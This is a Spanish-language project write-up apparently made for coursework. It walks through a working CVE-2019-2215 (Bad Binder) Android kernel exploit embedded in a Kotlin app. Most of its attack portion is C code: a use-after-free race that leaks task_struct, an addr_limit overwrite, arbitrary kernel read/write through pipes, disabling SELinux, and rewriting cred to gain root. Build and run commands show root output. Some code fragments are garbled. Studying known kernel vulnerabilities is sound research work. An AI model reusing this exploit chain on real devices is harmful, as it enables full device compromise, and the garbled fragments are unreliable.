
Demostración de CVE-2019-2215 (Bad Binder) para Android Q
Este repositorio es un pequeño proyecto de prueba para investigar la vulnerabilidad
CVE-2019-2215 (Bad Binder) y escribir un prototipo funcional de exploit para Android con
una interfaz gráfica simple en Kotlin/Jetpack Compose.
En el README:
En el repositorio hay configurado un workflow de GitHub Actions que en cada push/PR compila el proyecto
con el comando ./gradlew assembleDebug y publica el badbinder-debug.apk listo como artefacto.
Se puede descargar así:
badbinder-debug-apk
con el APK compilado.Esto se hizo para mayor comodidad, si solo quieres probar la aplicación sin montar un entorno local.
CVE-2019-2215 es un Use-After-Free (UAF) en el subsistema IPC Binder del kernel de Android.
De forma simplificada:
struct binder_thread que describe el hilo que realiza
llamadas a Binder;waitqueue);remove_wait_queue,
lo que abre un escenario clásico de UAF;Un análisis teórico más detallado lo hice basándome en los materiales:
Según la tarea se recomienda usar un AVD con imagen Android 10.0 (Q) x86_64.
Hice lo siguiente:
/dev/binder.adb shell
ls -l /dev/binder
En esta etapa me encontré con un hecho desagradable:
en la actualidad las imágenes AVD actuales ya vienen con el kernel parcheado, en el que
CVE-2019-2215 está corregida. Es decir, realmente no se podrá obtener root en un emulador oficial
moderno: el exploit falla en etapas posteriores o simplemente no da escalada de privilegios.
Como resultado, uso el AVD como entrenador para reproducir la lógica del exploit:
addr_limit,Este es un matiz importante: todo el código y el informe a continuación — educativos, no «de combate».
Hice una pequeña aplicación Android:
Pasos principales:
Creé un proyecto normal en Android Studio (Kotlin, soporte mínimo para Android 10).
Conecté NDK y CMake.
Añadí el archivo nativo con el exploit (el famoso cve-2019-2215.c con las funciones
leak_task_struct, overwrite_addr_limit, etc.).
En CMakeLists.txt añadí la compilación de libcve-2019-2215.so.
En MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Del lado de Kotlin hice un ExploitViewModel que implementa la interfaz
NativeLogger y guarda todos los mensajes en StateFlow<List<String>>. La UI está suscrita
a ese flujo y muestra el log en una «terminal».
Al iniciar la actividad llamo a setNativeLogger(viewModel) para que el código nativo reciba
el objeto al que puede enviar cadenas.
Compilo e instalo la aplicación:
./gradlew installDebug
Arranco el AVD y la propia aplicación.
En pantalla veo una «terminal» y el botón RUN EXPLOIT.
Al pulsarlo:
runNativeExploit() en un hilo en segundo plano.En un kernel vulnerable real esperaría ver al final algo como:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
En el emulador actual de Android 10 esto, por supuesto, no ocurre, pero todo lo demás —
fuga de task_struct, intento de sobrescribir addr_limit, cálculo de cred y kernel_base —
funciona como «escenario», que es lo que se pedía para la tarea.
A continuación — el esquema lógico del exploit con referencia a funciones C específicas.
El plan de alto nivel es el siguiente:
struct binder_thread y usarlo para
filtrar la dirección de task_struct del propio proceso (leak_task_struct).addr_limit en task_struct (overwrite_addr_limit) — esto elimina la restricción
entre las direcciones de user-space y kernel-space para posteriores copy_to_user / copy_from_user.arb_read / arb_write).cred del proceso actual y la base del kernel (verifying),
luego:
En paralelo integré un logger JNI para que todas estas etapas fueran visibles directamente en la UI.
task_struct (leak_task_struct)Función clave:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
Qué hace la función:
Fija el hilo en la CPU 0 (sched_setaffinity) para que el comportamiento del asignador del kernel
sea más predecible. Esto mejora la estabilidad de la explotación del UAF.
Abre /dev/binder, crea un descriptor epoll:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
El descriptor de Binder se registra en epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Prepara un array de struct iovec iov_buffers[IOVEC_N] y asigna memoria:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Aquí es importante que los 32 bits bajos de la dirección sean ceros:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
Esto corresponde a la técnica de los artículos sobre explotación: a continuación el kernel interpreta parte de nuestros datos como estructuras con punteros, y una dirección tan «bien alineada» simplifica el abuso.
Luego los campos iov_buffers[0xa] y se rellenan de modo que en
el momento del UAF el kernel copie en el pipe un fragmento de memoria donde se encuentra el
puntero a .
Resultado: tengo la dirección de task_struct en el kernel, lo cual es crítico para
los pasos siguientes.
addr_limit (overwrite_addr_limit)addr_limit en task_struct determina qué direcciones puede pasar el proceso en general
a las llamadas al sistema como punteros de user-space. Si se sobrescribe con un valor casi
máximo, el kernel deja de distinguir las direcciones de user-space de las de su propio espacio
de direcciones — y muchas operaciones aparentemente seguras copy_(to|from)_user se convierten
en lecturas/escrituras arbitrarias del kernel.
La función:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
actúa siguiendo un patrón muy similar:
De nuevo fijo la afinidad de CPU, abro /dev/binder, creo epoll.
Preparo iov_buffers, pero esta vez el esquema es diferente:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0 c].iov_base = read_buffer0;
iov_buffers[0 c].iov_len = 0x8;
En lugar de un pipe se usa socketpair(AF_UNIX, SOCK_STREAM, ...):
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Preparo la estructura msghdr para recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
En el proceso hijo (después de fork()) se lanza de nuevo la carrera UAF:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)Después de sobrescribir addr_limit, uso pipes para convertir las operaciones normales
de lectura/escritura en la posibilidad de leer y escribir en direcciones del kernel.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
Análogamente arb_write invierte la dirección de la copia.
La función verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Aquí:
task_struct;PID_OFFSET me aseguro de que realmente es mi estructura;cred y una fuga de dirección del kernel (kernel_leak);kernel_base con el ajuste por un desplazamiento fijo.La parte final en runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing y la pongo en estado cero/«permisivo».Después — la sobrescritura de cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
Literalmente relleno los campos de capability y algunos otros campos de cred con valores
máximos para otorgar al proceso el conjunto completo de derechos.
La comprobación final:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
En un kernel vulnerable real aquí esperaría uid=0; en la imagen parcheada —
lógicamente, la escalada desactivada.
Para verlo todo en tiempo real, añadí una capa intermedia:
JNI_OnLoad guarda JavaVM* y el PID del proceso principal;setNativeLogger recibe un objeto Kotlin que implementa el método onLog(String)
y lo guarda como GlobalRef;android_log/android_log_hex escriben en logcat y llaman a send_to_ui, que
entrega la cadena a Kotlin, donde ExploitViewModel la recoge y la muestra
en la «terminal» de Compose.Es importante que send_to_ui filtre los procesos hijos por PID: llamar a JNI desde un
proceso después de fork() sin exec() no es seguro.
Me encontré con que en la actualidad no hay imágenes AVD oficiales de Android 10 con el kernel sin parchear en las que CVE-2019-2215 siga presente.
En lugar de la «obtención real» de root me centré en:
Si se desea, este código se puede portar a un dispositivo real con un kernel antiguo sin parchear, pero eso ya queda fuera del alcance de la tarea.
Tuve que definir explícitamente:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak y selinux_enforcing;kernel_base.Decidí conscientemente no automatizar la búsqueda de estos valores para no inflar el tamaño del proyecto. En el informe me baso en que es un ejemplo educativo para una versión concreta del kernel, no un exploit universal.
El uso de fork(), epoll_ctl, BINDER_THREAD_EXIT y distintos tiempos —
es un campo minado. Me encontré con que sin:
sched_setaffinity,sleep,assert agresivos en el caminoel exploit se vuelve extremadamente inestable.
Poco a poco fui depurando la secuencia para que en una configuración vulnerable
fuera predecible y en una parcheada «fallara» correctamente en los últimos pasos.
fork()También me encontré con que los intentos de registrar desde el proceso hijo
directamente en la JVM provocan comportamientos extraños.
Tuve que recordar las reglas de JNI y añadir una comprobación de PID para comunicarme
con la JVM solo desde el proceso principal.
El compromiso: parte de los mensajes solo se ven en logcat, y en la UI se muestra
únicamente lo que llega del padre. Esto me sirvió porque en el marco de la tarea
lo importante son los puntos de control principales, no cada print de depuración.
Como extra, para una implementación más creativa de la tarea, decidí hacer una interfaz cómoda para el análisis:
[+], [*], [!], [C]) se resaltan con diferentes
colores para facilitar la lectura;Success / Failed) se muestra en un bloque aparte.Esto facilita mucho la comprensión del trabajo del código nativo: en lugar del seco logcat,
lo veo todo en un solo lugar, directamente en la aplicación.
Como resultado del trabajo en la tarea:
task_struct,addr_limit,cred, desactivación de SELinux e intento de escalada de privilegios.El proyecto quedó compacto, pero en esencia refleja todo el ciclo de vida de una vulnerabilidad real del kernel: desde la descripción teórica y la lectura de artículos hasta la implementación práctica y la integración en una aplicación Android viva.
En el directorio cve-2019-2215 hay un Makefile que permite compilar
el binario nativo (x86_64) y ejecutarlo directamente en el AVD mediante ADB.
Si se necesita la versión aarch64, se puede compilar por separado.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0),cred para convertirse en root y obtener el conjunto completo
de capabilities (runNativeExploit).iov_buffers[0xb]task_structCrea un pipe y le asigna un tamaño de buffer de 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
A continuación — la clásica carrera UAF. Lanzo un proceso hijo:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) provoca la liberación
del binder_thread asociado en el kernel, pero este sigue apareciendo
en la estructura de contabilidad de espera — ese es el punto del UAF.En el proceso padre llamo a:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // liberación de binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
En esta etapa, gracias al UAF, writev usa la memoria ya liberada
como estructuras iovec y, en esencia, reinterpreta la misma región de memoria
donde antes estaba binder_thread, ahora como un conjunto de punteros/longitudes.
Como efecto secundario se produce la copia de un fragmento de memoria del kernel a nuestro pipe.
Finalmente, leo del pipe:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
El desplazamiento 0xe8 está elegido para una versión concreta del kernel: es el lugar
donde dentro del bloque de memoria filtrado se encuentra el puntero a task_struct de mi proceso.
El padre, como antes, libera binder_thread y llama a recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
Debido al UAF y a la astuta sustitución de estructuras, el kernel finalmente percibe task_struct + ADDR_LIMIT_OFFSET como la dirección de un buffer de usuario y copia allí el contenido
de la estructura enviada (nuestro valor 0xfffffffffffffffe), sobrescribiendo así
addr_limit en task_struct.
En el log escribo:
android_log("[!] addr_limit overwrite done.");